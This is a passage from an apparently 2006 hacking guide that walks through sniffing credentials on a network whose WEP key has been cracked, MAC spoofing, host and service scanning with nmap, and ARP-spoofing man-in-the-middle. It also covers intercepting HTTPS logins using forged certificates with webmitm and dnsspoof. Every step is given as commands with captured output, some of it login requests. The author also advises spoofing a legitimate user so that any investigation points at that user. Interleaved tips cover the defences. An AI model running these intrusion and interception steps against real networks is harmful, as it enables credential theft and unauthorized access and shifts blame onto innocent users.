T 2006/05/19 12:39:42.989161 192.168.27.32:1878 -> 194.158.229.17:80 [AP]
  POST /mail/LoginDirect HTTP/1.1..Host: mta-fs-be- 03.sunrise.ch..User-Agent:
   Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426
   Firefox/1.5.0.3..Accept: text/xml,application/xm l,application/xhtml+xml,te
  xt/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0. 5..Accept-Language: en-us,
  en;q=0.5..Accept-Encoding: gzip,deflate..Accept-C harset: ISO-8859-1,utf-8;q
  =0.7,*;q=0.7..Keep-Alive: 300..Connection: keep-a live..Referer: http://free
  surfplus.sunrise.ch/index.cfm..Cookie: langpref=e n..Content-Type: applicati
  on/x-www-form-urlencoded..Content-Length: 83.... userid=********************
  *******&password=******** &timezone=-120&language=english
<...>
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root@itching-hacker:~>

# scan mail traffic for login data (IMAP / TCP port  143)
ngrep -q -I encrypted-dec.pcap “login” tcp port 143

ngrep
<...>
T 2006/05/19 12:40:03.690271 192.168.27.32:1895 -> 194.158.229.8:143 [AP]
  1 login "*************************" "********" ..
<...>

And so on !

Gathered information

Thoroughly and patiently analyzing the traffic flowing through our target's wireless network – without
any risk of being detected since we just have been passively monitoring what has been passing through
the “air” – we gather critical information allowing us to access most of our target's data.

Table 5: Gathered information (hack 3)

Services / Data Information Compromised protocols

E-mail / all messages usernames and passwords, and data SMTP / POP3 / IMAP

Internet account usernames and passwords, and data HTTP

Intranet usernames and passwords, and data Telnet / FTP

usernames and data NFS (RPC) / SMB (NTLM)

At this stage, one can wonder if the missing usernames and passwords for the other (relatively more
secure)  services and protocols still  stand as a problem. Odds are quite high that  the usernames and
passwords for a given user will be the same than the ones we already discovered, no matter the services or
data (human beings tend to have problems memorizing too-many different passwords).
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Illustration 3: Analyze traffic with Ethereal

GUI:

Reference 3: Insecure vs. “secure” protocols
Why “secure”, quoted ? Though a given protocol may be considered intrinsically secure – i.e. not known
to have any realistically exploitable weakness – it may nonetheless be totally insecure when put into the
light of its operational environment.

For example, though SSH has a reputation of being a very secure protocol, what would happen if the
person using regularly did so on a computer infested by a Trojan Horse or under the watchful eye of an
illegitimate camera ?

On the other hand, as we just saw, what good would secure protocols do when usernames, passwords or
data may be obtained through an insecure protocol still active – and compromised – within the same
infrastructure ?

What does “secure” mean ? It means that all critical information – usernames, passwords or data – are
encrypted and may not be obtained through network sniffing, as we just did. You may say: “but let's crack
the encryption key like we just did for the WEP”. My answer would be: “Hey, remember, WEP is not
considered as secure any longer”. There are a lot of protocols out there that may not be cracked as we just
did the WEP key, either because it is not feasible or because it is not realistically feasible (as of today).

Tip 3: Use “secure” protocols  (difficulty: piece-of-cake to fairly easy)

The table below lists the various protocols used in the context of different widely-used network services.
One should definitely try not to use any insecure protocol within its network infrastructure . Mark
my words ! I'm not saying: “use secure protocols as much as possible”. I'm saying: “try not to use any
insecure protocol”.
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Table 6: insecure vs. “secure” protocols

Services Insecure protocols “secure” equivalents

E-mail SMTP / POP3 / IMAP SMTPS / POP3S / IMAPS

Internet account HTTP HTTPS

Intranet Telnet / FTP SSH / FTPS

NFS (RPC) / SMB (NTLM) NFS / SMB, with Kerberos

Remote access ICA (Remote Desktop) ICA, through IPSec or SSL VPN

TCP/IP ARP / DNS no equivalents
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Hack 4: Connect to the wireless network  (difficulty: piece-of-cake)

Now what we have gathered all the information required, we may connect to our target's network and
penetrate it further. At this stage, we will not really be hacking any longer. We will just connect to our
target's network as we would legitimately connect to our own network. We'll just use a little prudence and
try not to advertise our presence too loudly.

WARNING !  At this stage, we will become very active on the network and may be detected immediately
by security-aware infrastructures !

Configure the wireless connection

Though nice graphical user interfaces (GUI) are available to configure the wireless connection, we will
see here how to do it manually.

We will try to be as “silent” as possible, not relying on the Dynamic Host Configuration Protocol (DHCP)
to set our TCP/IP settings – that would immediately be registered in the DHCP logs, and raise an alarm if
an Intrusion Detection System (IDS) is active on the network.  Needless to say that  using your  own
personal computer, with its network host name setup as “you.mycompany.net”, would not be wise from
now-on !

Text 13: Configure the wireless connection

root@itching-hacker:~>

vim /etc/sysconfig/network-scripts/ifcfg-rausb0

vim:ifcfg-rausb0

DEVICE=rausb0
TYPE=Wireless
HWADDR=00:06:66:00:06:66
MODE=Managed
ESSID=target-essid
CHANNEL=4
RATE=
IPADDR=192.168.27.64
NETMASK=255.255.255.0
GATEWAY=192.168.27.1
DOMAIN=
DHCP_HOSTNAME=
ONBOOT=no
USERCTL=no
IPV6INIT=no
PEERDNS=yes
BOOTPROTO=none

root@itching-hacker:~>
vim /etc/sysconfig/network-scripts/keys-rausb0

vim:keys-rausb0

KEY=BCD0A2A5ABA6FF3C4D160CECD5
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Activate the wireless connection

Ready to rock ! We now just need to activate the network connection before proceeding further.

Text 14: Activate the wireless connection

root@itching-hacker:~>

ifup rausb0

root@itching-hacker:~>
# Let's check if we are connected
iwconfig rausb0

iwconfig

rausb0    RT2500USB WLAN  ESSID:"target-essid"  Nickname:"itc hing-hacker"
          Mode:Managed  Frequency=2.427 GHz  Access  Point: 00:13:10:9B:50:1F
          Bit Rate=54 Mb/s
          RTS thr:off   Fragment thr:off
          Encryption key:BCD0-A2A5-ABA6-FF3C-4D16-0 CEC-D5   Security mode:open
          Link Quality=91/100  Signal level:-42 dBm   Noise level:-212 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx  invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Ready to roll !

“Silently” blending-in

As we said, we chose here to be as “silent” as possible. Well... there is no being “silent” to a carefully
listening hear.  Actually,  as of now, we may even be screaming our presence loudly to the network
security officer in charge ! But again, as of today, too many – most – infrastructures just lack the mean to
detect an intrusion. So, any precaution taken so far are just for the sake of it. So what ?

Now considering an infrastructure  that  has no detection system, but  was aware enough of  available
security measures to lock its network down, we may have to choose for one way or the other in order to
connect to the network and be able to access its resources.

As  we  will  see  in  the  next  chapter,  one  could  make  sure  that  only  known  physical (MAC)  and/or
network (IP) addresses are allowed on the network. Big deal ! The monitoring performed during our first
hack gave us a list of legitimate users, along with their MAC and IP addresses. Let us then just borrow a
legitimate user's MAC and IP addresses, and the problem is (almost) solved ! This technique is called
“spoofing”, a term that most readers will certainly have already heard, and is easily achieved under the
Linux environment. But now, what happens if  the legitimate user is active at the time we spoof his
addresses ? It  won't  work !  Worse, the legitimate user will  immediately experience problems and go
screaming after his network administrator. Fortunately, by their very nature, wireless networks are aimed
towards roaming users. Odds are thus quite good that one of our friendly legitimate users will just go
away and let us use his addresses without raising any conflict. Problem solved ! Better still, spoofing a
legitimate user's addresses, and using his data – usernames and passwords – will make any inquiry or
detection first point to him instead of us, in the case we are ever detected. By that time, we'll be long
gone...

Text 15: MAC address “spoofing”

root@itching-hacker:~>

ifconfig rausb0 hw ether 00:06:66:00:06:66 # spoofi ng a MAC address
# PS: actually cheating; my Linksys WUSB54G WiFi ad apter does not let me do 
#     that... but others do !
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Tip 4.a: Safeguard your network  (difficulty: technical to nightmare)

As we just saw, once in possession of the WEP key, connecting to our target's network is just a matter of
configuring our own wireless network connection appropriately.  Security has been compromised and
access to our target's data is granted. Bad. Very bad !

In that case, a security-concerned infrastructure owner would like to be informed immediately of what is
going on. Actually, maybe the hacker did not need to go through our three previous hacks to gain access
to  the  network.  Maybe  a  disgruntled  employee  and/or a  little  persuasion  –  what  is  called  “social
engineering” in the jargon – just gave our hacker every piece of required information, without him having
to switch his computer on. This is where Intrusion Detection Systems (IDS) come handy.

The role of an Intrusion Detection System is to monitor all what is going on the network, detect all
abnormal situations, and report it – even raise an alarm – to the person in charge. A carefully set up
detection system will keep a watchful eyes on every bits and pieces of the network. In our case, it would
first have raised the alarm as we started injecting packets into the wireless network while cracking the
WEP key. It then would have screamed out loud as we obtained our network settings from the DHCP,
while connecting to the network. It would also have been highly offended and protesting if we used a
network address (IP) that was not “cleared” to him, or when we “borrowed” the one corresponding to
another registered physical address (MAC). It  would also have started complaining if some data were
accessed at an unusual time, or if a user seemed to start filling his credentials – username and password –
too quickly, in response to the request of too many services. Turned into an Intrusion Prevention System
(IPS), it could also have automatically shut down the compromised services – or even the entire network
– in order to prevent us from hacking our way further in. Et cetera...

Unfortunately,  Intrusion Detection Systems are difficult to set up. Configuring an IDS so it monitors
everything,  complains only when it should, and acts appropriately, requires a good knowledge of the
infrastructure and good technical skills. Nowadays, some IDS – such as for example the standard Snort
installable package, available on most Linux distributions – work “out-of-the-box” and provides a decent
start at intrusion detection. Making the infrastructure bullet-proof nonetheless will need the expertise of a
specialist.

Tip 4.b: Lock your network down  (difficulty: technical to nightmare)

A technique that proves very efficient with  wired  networks consists in registering and matching every
network (IP) and physical (MAC) addresses to one or more physical network ports (plugs). That way,
access  to  the  network  would  be  denied  to  a  potential  hacker  simply  because  the  network (IP)  and
physical (MAC) addresses he “spoofed” would not match the network port (plug) expected. Unless of
course if he succeeded to reach the right port and get connected to it. But then, you would have a severe
physical security issue at hand ! This technique is put into place through so-called “static ARP tables”,
which we will learn more about in the next hack (see Tip 5: Statistically map your network).

Unfortunately, this technique does not work with wireless networks, since they have no equivalent to the
physical network ports (plugs) mentioned above.

But as we will see later, locking down the wired part of the network may prevent a wirelessly connected
hacker to perform some of his misdeeds.
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Part Three – Wired Network Hacking

Introduction
In the previous part, we succeeded to crack our target's  wireless network and connect to its network
infrastructure, “silently” blending-in as we “spoofed” a legitimate user's network settings. As we saw,
without  actively  searching for valuable information – in other words, just passively sniffing what was
going around – we managed to obtain critical information, such as usernames and passwords, along some
data (the data that legitimate users accessed through the network). But what if that is not enough ? What if
the information we seek never shows up in our sniffing logs ?

Once connected to our target's network – either through hacking its wireless network or plugging into an
accessible network plug (that would be a major physical security breach... but what if !?) - we may start
digging deeper.

In the following pages, we will identify each and every host or service on the network – what is called
“network footprinting” - and gather as much technical information as we can, in order to find a way to
hack our way further in. We will  also perform hacks in order to make our target's  wired  network as
transparent to our sniffing as its wireless network is, acting as an undetected “man-in-the-middle” eaves-
dropper.

Every hack performed as of now requires active measures,  i.e. sending data instead of merely receiving
them. As soon as you send data on a network, you are prone to detection. As we saw beforehand, it is the
job of an Intrusion Detection System (IDS) to watch the network and spot suspicious activity – data – in
order to raise the alarm and prevent the intruder to hack his way further in. So, time for another warning...

WARNING !  Every  hack  described  in  this  section  may be detected  immediately  by security-aware
infrastructures !

Unfortunately – again – most home or small company infrastructures are deprived of any mean to
detect  network  intrusion.  Even  if  a  rather  advanced  anti-virus  software  performs  some  intrusion
detection analysis, odds are quite good that the warning message given to the user will just be discarded
as “just another technical gibberish message”.
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Hack 5: Network hosts footprinting  (difficulty: piece-of-cake)

Though we may gather a lot of information about the network hosts and services through our wireless
network sniffing – consciously analyzing the traffic  flowing through  the “air”  will  give  us a  lot  of
valuable information – we may want  or  need to make sure we identified  each  and  every  hosts and
services. In other words, we need to “footprint” the network thoroughly.

Nmap

Quoted directly from its official website – http://www.insecure.org/nmap – “Nmap ("Network Mapper")
is a free open source utility for network exploration or security auditing”. Again, it is a pretty common
tool in the Linux realm and readily available as an installable package in most distributions.

Network hosts discovery with Nmap

We will now use Nmap to obtain the list of all network hosts on our target's infrastructure.

Text 16: Network hosts discovery with Nmap

root@itching-hacker:~>

nmap -n -sP 192.168.27.0/24  # scan the entire 192.168.27.xxx subnet

nmap

Starting Nmap 4.03 ( http://www.insecure.org/nmap/ ) at 2006-05-22 12:34 CEST
Host 192.168.27.1  appears to be up.
MAC Address: 00:13:10:9B:50:1D  (Cisco-Linksys)
Host 192.168.27.2  appears to be up.
MAC Address: 00:12:17:71:29:B3  (Cisco-Linksys)
Host 192.168.27.3  appears to be up.
MAC Address: 00:0F:66:86:32:C3  (Cisco-Linksys)
Host 192.168.27.8  appears to be up.
MAC Address: 00:11:85:FA:72:F7  (Hewlett Packard)
Host 192.168.27.9 appears to be up.
MAC Address: 00:13:21:72:65:0E (Hewlett Packard)
Host 192.168.27.16  appears to be up.
MAC Address: 00:40:63:DE:56:FB  (VIA Technologies)
Host 192.168.27.32  appears to be up.
MAC Address: 00:E0:7D:C0:56:FA (Netronix)
Host 192.168.27.33 appears to be up.
MAC Address: 00:10:7A:68:7C:73  (AmbiCom)
Host 192.168.27.64 appears to be up.
Nmap finished: 256 IP addresses (8 hosts up) scanned in 5.384 seconds

Wow !...

Nslookup

Nslookup is a Linux “built-in” command that allows to query the “directory pages” of a network – the so-
called Domain Name Servers (DNS) – and obtain fundamental informations about registered network
hosts, such the correspondence between their human-friendly name and their network (IP) address.
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Network hosts names with Nslookup

Provided a “directory” – a Domain Name Server (DNS) – is available on our target's network – and it
most certainly will  – we can learn a little more about its hosts.

Text 17: Obtaining “directory” information with Nslookup

root@itching-hacker:~>

nslookup 192.168.27.1  # get name of host at IP 192.168.27.1

nslookup
Server:         192.168.27.16
Address:        192.168.27.16#53

1.27.168.192.in-addr.arpa       name = gateway.target.net .

Cool !

Gathered information

So we now have a list of all hosts – routers, computers, printers, etc. – connected to our target's network,
with some good clues about what each does.

Table 7: Gathered information (hack 5)

Physical address Logical address Name Role (clue)

00:13:10:9B:50:1D 192.168.27.1 gateway.target.net Obvious, no !?!

00:12:17:71:29:B3 192.168.27.2 bridge.target.net Would that be a wireless bridge ?

00:0F:66:86:32:C3 192.168.27.3 psus4.target.net Linksys PSUS4 switch/print-server ?

00:11:85:FA:72:F7 192.168.27.8 hplj1320.target.net HP LaserJet 1320 ?

00:13:21:72:65:0E 192.168.27.9 hpij6940.target.net HP Inkjet 6940 ?

00:40:63:DE:56:FB 192.168.27.16 server.target.net Obvious, no !?!

00:E0:7D:C0:56:FA 192.168.27.32 pc01.target.net A standard client PC ?

00:10:7A:68:7C:73 192.168.27.33 pc02.target.net A standard client PC ?

no information 192.168.27.64 no information That's us !

A gateway, with its physical address quite the same as our target's wireless access point... A bridge – most
likely a wireless network bridge connecting two parts of our target's network through the “air” (good, we
are already able to sniff all that traffic)... A well advertised server – the best place to look for valuable
information... Two client PCs... Two printers and a USB print-server... A very nice Small Office or Home
Office (SOHO) network ! We happy !

Reference 5: Physical vs. logical network addresses  – ARP
If we were to compare a computer network to a city, and how the postman were to deliver mail to its
various inhabitants, we would compare each house to a hosts, each address (e.g. 'Main Street 217') to the
network logical (IP)  address,  and each geographical location (e.g.  40°27'45”  N /  5°19'23”  E)  to the
network physical (MAC) address.

As you can imagine, the first time the postman needs to deliver a letter to a given address, he will need to
find out where that is (geographically speaking). He will use a map, with a street index, to find out the
exact location of the recipient's house, and how to get to it. On a computer network, things happen quite
the same way. The first time a network host must reach another, he will ask the network to tell which
“geographical location” – physical (MAC) address – matches the given “mailing address” – logical (IP)
address of the desired recipient. But instead of using a map, a standardly set up network will have the
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sender use a broadcasting mechanism, asking each and every other host if he matches the given “mailing
address”, and if so, to return him its “geographical location”. Exactly as if the postman, still at the post-
office, started to shout loudly, so everyone can hear him: “who has the address 'Main Street 217' ? What
is your geographical location ?”. This mechanism is called the Address Resolution Protocol (ARP). Once
the physical and logical addresses have been obtained, the sender will keep them in its ARP tables, just as
the postman will remember, as long as his memory allows, where 'Main Street 217' lies.

Unfortunately,  the very way this mechanism is designed makes it  very easy to “hack”.  First  of  all,
everyone is supposed to answer the postman's request (ARP request) if he ever wants mail to be delivered
to him. That's why Nmap allowed us to obtain the network hosts list so easily. Then, everyone knows
where each other lies, just by listening to the postman's shouts (the ARP traffic). Finally, what if a nasty
competitor (a “hacker”) shouted loudly enough to make his response heard by the postman instead of the
legitimate recipient's, thus receiving the mail in his place ? On a network, that is called “ARP spoofing”
and is a commonly used hack, which we'll use later.

Tip 5: Statistically map your network  (difficulty: technical to nightmare)

Disabling the Address Resolution Protocol (ARP) altogether – i.e. disabling the ARP mechanism on each
and every host on the network – allows to prevent many hacks from succeeding. But this can only be
done with the drawback of a quite high administrative burden, each and every network host needing to be
informed manually – by the network administrator – of the other hosts' details, thanks to so-called “static
ARP tables”.

Along with the previous tip (see  Tip 4.b: Lock your network down), this technique will prevent both
physical (MAC)  address  and  ARP  responses  “spoofing”.  When  implemented  throughout  the  entire
network, this technique will also guarantee that no illegitimate wired host – hacker – is able to connect to
the network and communicate with its legitimate hosts.

Unfortunately,  wireless  networks will  still be prone to physical (MAC) address “spoofing” and traffic
sniffing, the latter allowing the hacker to patiently build its own static ARP tables based on the exchanges
taking place between legitimate hosts of the network.
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Hack 6: Reroute and intercept traffic  (difficulty: piece-of-cake)

While sniffing traffic  on a  wired  network was easily feasible a few years  ago – before “switching”
technology replaced the former network “hubs” – it takes some more hacking nowadays,  in order to
“convince” wired hosts to send their traffic through the sniffer instead of directly one to another.

With the advent of switching, all traffic between two hosts is flowing directly from one host to the other,
following the shortest possible route, without ever reaching any other hosts (exactly the opposite as what
goes on in  a wireless network,  where all  wireless hosts  necessarily  receive  all  the wireless traffic).
“Fortunately” again, we can quite easily have the network behave friendly towards our sniffing objectives
and reroute the traffic from our target's host towards our sniffing device, and then forward to its legitimate
destination.

DSniff

The various DSniff utilities are especially useful to hack switched wired networks. Similarly to Aircrack,
DSniff is totally devoted to hacking purposes, though quite not as officially well supported... but still –
visit http://www.monkey.org/~dugsong/dsniff. This software package is available only as (C/C++) source
code and will require some fixes to get compiled on latest distributions, such as my Fedora Core 5.

Fragrouter

Fragrouter is another tool that proves quite handy, allowing to easily transform our hacking device into a
network (re-)router. This tool is also available only as (C/C++) source code and compiles without any
complication under Fedora Core 5. On the other hand, it proves quite difficult to obtain, its “official” web
site –  http://www.anzen.com/research/nidsbench/fragrouter.html – being unreachable as I write these
lines.

Reroute traffic with Arpspoof and Fragrouter

First of all, let's start our (re-)router and let it run in the background.

Text 18: Forward traffic with Fragrouter

root@itching-hacker:~>

echo 1 > /proc/sys/net/ipv4/ip_forward # enable IP forwarding
fragrouter -B1 # re-route IP traffic

fragrouter

fragrouter: base-1: normal IP forwarding

Then, let's make our target host believe than we are its gateway. What are we exactly doing here ? We are
are actually shouting louder than the legitimate host – the gateway – where our target shall send its traffic
for the Internet. We are actually “spoofing” the Address Resolution Protocol (ARP) !
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Let's launch Arpspoof (part of the DSniff package) and let in run in the background.

Text 19: ARP “spoofing” with Arpspoof

root@itching-hacker:~>

arpspoof -i eth0 -t 192.168.27.33  192.168.27.1  # spoof the gateway

arpspoof
0:14:c2:d7:75:a4 0:10:7a:68:7c:73 0806 42: arp reply 192.168.27.1 is-at
0:14:c2:d7:75:a4
<...>

root@itching-hacker:~>

arpspoof -i eth0 -t 192.168.27.1  192.168.27.33  # the other way around

arpspoof

0:14:c2:d7:75:a4 0:13:10:9b:50:1d 0806 42: arp reply 192.168.27.33 is-at
0:14:c2:d7:75:a4
<...>

The gateway – 192.168.27.1 – lying at 0:14:c2:d7:75:a4 (our physical address) ? No way ! The legitimate
physical address is 00:13:10:9B:50:1D, remember ? But our target – 192.168.27.33 – will believe us !

Let's see if that was efficient and if we can sniff some traffic (using Ngrep).

Text 20: HTTP traffic monitoring with Ngrep

root@itching-hacker:~>

ngrep -q -d eth0 “” tcp port 80

ngrep

interface: eth0 (192.168.27.0/255.255.255.0)
filter: (ip) and ( tcp port 80 )

T 192.168.27.33 :39273 -> 66.249.85.104 :80 [AP]
  GET / HTTP/1.1..Host: www.google.ch..User-Agent: Mozilla/5.0 (X11; U; Linux
   i686; en-US; rv:1.8.0.3) Gecko/20060504 Fedora/1 .5.0.3-1.1.fc5 Firefox/1.5
<...>

T 66.249.85.99 :80 -> 192.168.27.33 :42437 [A]
  HTTP/1.1 200 OK..Cache-Control: private..Content- Type: text/html..Content-E
  ncoding: gzip..Server: GWS/2.1..Content-Length: 1 580..Date: Mon, 22 May 200
  6 16:15:26 GMT...............W.r.6....@.Z.....f,. ....w<I.N..........(..,.~.
<...>

Yes ! Hacking completed !

Tip 6: Prevent ARP spoofing  (difficulty: technical to nightmare)

Remember  that  if  static  ARP tables were used, none of this would have been possible.  See  Tip 5:
Statistically map your network.
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Hack 7: Secured (SSL) web connection sniffing  (difficulty: fairly easy)

Now, traffic rerouting and sniffing being at our hand, be it on a wireless or a wired network, what's next ?
Why not try to break in those “secure” protocols we mentioned before ?

Though the “secure” protocols mentioned earlier  are secure from a technically-speaking point of view,
any protocol, any system, is prone to human error. One may use the latest-to-date uncrackable encryption
system on his cell phone, what good would it do to him if we merely used a microphone and an emitter to
listen to his conversation ? Where lies the human error ? In that case, speaking loudly enough for our
microphone to hear the “clear” (non encrypted) message,  and not thinking that the security of the entire
system may be null if attacked where no security was put into place.

Dealing with “secure” protocols, we may actually provoke a situation where the connection becomes
entirely insecure, just because the target does not think that one single click may compromise the entire
system. This scenario unfortunately occurs  way too often !  “Oh d*** !  Again one of those technical
gibberish message ! Let's get rid of it !”. And there you are caught !

Our objective for this hack is to re-route all traffic from our target's host to ours, then make it believe that
our target's “secure” web site is actually hosted on our hacking device, which will have its own “secure”
web server to pose as the “man-in-the-middle”. Since our “secure” server will use our own key, we will
be able to decrypt the traffic between us and our non-suspicious target's host, before forwarding it to the
genuine target's web site. This hack is certainly the most complex we achieved so far, since we will have
to pull together many elements.

OpenSSL

Many “secure” protocols nowadays rely on the Secure Socket Layer (SSL) to achieve a secure encrypted,
signed  and  authenticated  connection between two hosts. Encrypted meaning the actual data content is
genuinely  unaccessible to an eaves dropper. Signed meaning the data content received by the recipient
being genuinely identical to what the sender sent. Authenticated meaning the sender is genuinely who he
pretends to be,

OpenSSL is the open source very official implementation of the Secure Socket Layer (SSL) protocol,
allowing network hosts to communicate through a genuinely secure channel – well, still, as of today – and
providing many tools to setup such a channel. It is readily available as an installable package on most
Linux distributions and very well supported, trough its own official web site – http://www.openssl.org –
or through the expertise of all those who use it extensively.

Creating SSL certifcates with OpenSSL

For our purpose of breaking in the secured communication channel between our target and a SSL-based
web site (through the HTTPS protocol),  we first need to create a certificate that looks  as closely as
possible as the target's web site SSL certificate.

WARNING !  Impersonating someone else and steal his identity, be it a web server and its certificate, is
highly illegal !
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First, we create the certificate private key.

Text 21: Create a RSA private key with OpenSSL

root@itching-hacker:~>

openssl genrsa -out private.key  1024

openssl
Generating RSA private key, 1024 bit long modulus
........................++++++
..++++++
e is 65537 (0x10001)

Then, we create a certificate public key request corresponding. Here, we should supply the information to
match our target's web site certificate... which we will not do here for the sake of clarity... and legality.

WARNING !  Impersonating someone else and steal his identity, be it a web server and its certificate, is
highly illegal !

Text 22: Create a certificate request with OpenSSL

root@itching-hacker:~>

openssl req -new -key private.key  -out request.csr

openssl

You are about to be asked to enter information that  will be incorporated
into your certificate request.
What you are about to enter is what is called a Dis tinguished Name or a DN.
There are quite a few fields but you can leave some  blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]: CH
State or Province Name (full name) [Berkshire]: State
Locality Name (eg, city) [Newbury]: City
Organization Name (eg, company) [My Company Ltd]: The Itching Hacker Guide to the
Galaxy
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostnam e) []: www.itching-
hacker.domain
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Eventually, we create and (self-)sign the public certificate for our illegitimate “secure” web site.

Text 23: Create a public certificate with OpenSSL

root@itching-hacker:~>

openssl x509 -req -days 365 -in request.csr -signkey private.key -out public.crt

openssl

Signature ok
subject=/C=CH/ST=State/L=City/O=The Itching Hacker Guide to the
Galaxy/CN=www.itching-hacker.domain
Getting Private key

And here we are !
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Intercepting SSL encrypted traffic with Webmitm and  Dnsspoof

Now that we have our own encryption, signature and authentication material ready, we may proceed. The
first step, as in the previous hack, is to allow our hacking device to (re-route) traffic as it flows through it.

Text 24: Forward traffic with Fragrouter

root@itching-hacker:~>

echo 1 > /proc/sys/net/ipv4/ip_forward # enable IP forwarding
fragrouter -B1 # re-route IP traffic

fragrouter
fragrouter: base-1: normal IP forwarding

Then, we launch Webmitm (part of the DSniff package), our own “secure” web site server, with our own
certificate. It will relay transparently all traffic reaching him to the genuine destination web site... except
that all “secure” traffic will be decrypted (before being re-encrypted for the genuine destination web site).

Text 25: Man-in-the-middle HTTPS server with Webmitm

root@itching-hacker:~>

cat private.key public.crt > webmitm.crt # compile the complete certificate
webmitm # launch the HTTP/S web forwarder

webmitm

webmitm: relaying transparently

Next, we shall make our target's host believe that the destination web site it is trying to reach actually is
hosted on our hacking device. Let's launch Dnsspoof (part of the DSniff package), in order to perform
this so-called “DNS spoofing”.

Text 26: DNS “spoofing” with Dnsspoof

root@itching-hacker:~>

vim dnsspoof.hosts

vim:dnsspoof.hosts

192.168.27.64  *.google.com

root@itching-hacker:~>

dnsspoof -i eth0 -f dnsspoof.hosts

dnsspoof
dnsspoof: listening on eth0 [udp dst port 53 and no t src 192.168.27.64]

Everything being in place, we now just have to re-route the “directory” traffic from our target's host, in
order to give him the wrong logical (IP) network address when it will ask for it.

Text 27: ARP “spoofing” with Arpspoof

root@itching-hacker:~>

arpspoof -i eth0 -t 192.168.27.16  192.168.27.33  # spoof the DNS server

arpspoof

0:14:c2:d7:75:a4 0:10:7a:68:7c:73 0806 42: arp reply 192.168.27.16 is-at
0:14:c2:d7:75:a4
<...>
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Now, as traffic is directed from our target's host to our target's “secure” web site, we will see it appear in
the “clear” on our screen !

Text 28: HTTPS traffic sniffing with Webmitm

webmitm

<...>
POST /accounts/ServiceLoginAuth HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;  rv:1.8.0.3) Gecko/20060504
Fedora/1.5.0.3-1.1.fc5 Firefox/1.5.0.3 pango-text
Accept:
text/xml,application/xml,application/xhtml+xml,text /html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
https ://www.google.com/accounts/ServiceLogin?service=mai l&passive=true&rm=false&
continue= https %3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy %3Dl&ltmpl=yj_b
lanco&ltmplcache=2
Cookie: GoogleAccountsLocale_session=en;
PREF=ID=b675f4c5e7d866c4:TM=1134303040:LM=113430304 0:S=__ok_ZjZlrBACh3i; TZ=-
120; GMAIL_RTT=606; GMAIL_LOGIN=T1148324945278/1148 324945278/1148324983031
Content-Type: application/x-www-form-urlencoded
Content-Length: 177

ltmpl=yj_blanco&ltmplcache=2&continue= https %3A%2F%2Fmail.google.com%2Fmail%2F%3F
&service=mail&rm=false&ltmpl=yj_blanco& Email=itching-
hacker&Passwd=gottcha &rmShown=1&null=Sign+in
<...>

Yeah !

Reference 7: Public Key Infrastructure certificates
As we introduced OpenSSL, we mentioned it being involved in most “secure” protocols used as of today.
How is that  so ? Actually,  the Secure Socket Layer  (SSL) relies heavily on the (X.509)  Public Key
Infrastructure (PKI) and its cryptographic capabilities – encryption, signature and authentication – which
are considered nowadays as the best of what can be achieved.

The ability offered by a PKI certificate to  unambiguously authenticate its owner is one that normally
should prevent any “man-in-the-middle” attack, such as the one we just carried out. How could it succeed,
then ?

Explaining the entire concept of the “chain of trust” that lies behind any Public Key Infrastructure is
beyond the scope of this document. I'll nonetheless try to give it a short try. Every legitimate certificate –
used for example to authenticate a web server – is normally signed by a trusted party, which certificate
(public key) is stored in your computer or your web browser (somehow built-in),  in order to allow you to
verify the authenticity  of the certificates signed with it. On the contrary,  no illegitimate certificate may
technically be signed by this trusted party, since no one can obtain the private key required to do so.

Now, what happens when someone creates an illegitimate certificate, as we just did ? It will  raise an
alert, telling you that its authenticity cannot be verified, since it is not signed by a trusted party.

Tip 7: Double-check the certificates used  (difficulty: piece-of-cake)

In  other  words,  one  should  definitely  take  great  care  in  reading  any  alert  message  concerning
certificates authentication or signature issues and verify thoroughly the certificates information. No
company concerned with network security will use certificates that would raise such an alert. In other
words, when dealing with security-concerned web sites – such as the ones from financial institutions or
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well-known  companies  –  or  any  web  site  claiming  to  offer  good  security,  receiving  a  certificate
authentication or signature alert most likely points to a security breach.

The hack we just performed  did raise such an alert. Using Firefox as web browser, it looked like the
following illustration.

Illustration 4: Firefox SSL authentication alert

Firefox

Actually, Firefox even complained twice about our using an illegitimate certificate !

Illustration 5: Firefox authentication alert

Firefox
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In our case, examining the certificate's information would have made it obvious that something bizarre
was going on.

Illustration 6: Firefox certificate information

Firefox

Eventually, when in doubt, ask your network or system administrator. He's a jerk, but he knows when
you're being cheated !
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Hack 8: Network services footprinting  (difficulty: piece-of-cake)

Each and almost every host on a network offers so-called “network services”. These services may be the
ability for a remote host to: access the files stored on the local hard disk (file sharing), print on the locally
connected printer (printer sharing), browse the content of a web site (web server), exchange audio and
video (Voice-over-IP),  obtain “directory”  information (e.g.  DNS server),  send centralized monitoring
information (system logger), etc.

“Unfortunately”, offering a service to the network implies running a software element – a “program” –
and complying with a protocol, each or both being vulnerable to attacks. As we just saw, the Address
Resolution Protocol (ARP) is a good example of a vulnerable protocol. As is the WEP encryption and
authorization “service” of wireless networks. As are  many  protocols. On the other hand, the software
responsible to offer a given service may have vulnerabilities, which in case of a violation of the protocol,
may sometimes lead –  too often, actually – to a result exploitable by a hacker. The “buffer overflow”
exploits, which most readers may certainly have heard of, are good examples of such vulnerabilities. The
rhythm at which software suppliers keep releasing updates to patch these vulnerabilities gives an idea of
how many of those are available out there to be exploited.

Text 29: Network services discovery with Nmap

root@itching-hacker:~>

nmap -n 192.168.27.0/24  # scan the entire 192.168.27.xxx subnet

nmap

Starting Nmap 4.03 ( http://www.insecure.org/nmap/ ) at 2006-05-22 15:20 CEST
Interesting ports on 192.168.27.1 :
(The 1672 ports scanned but not shown below are in state: closed)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
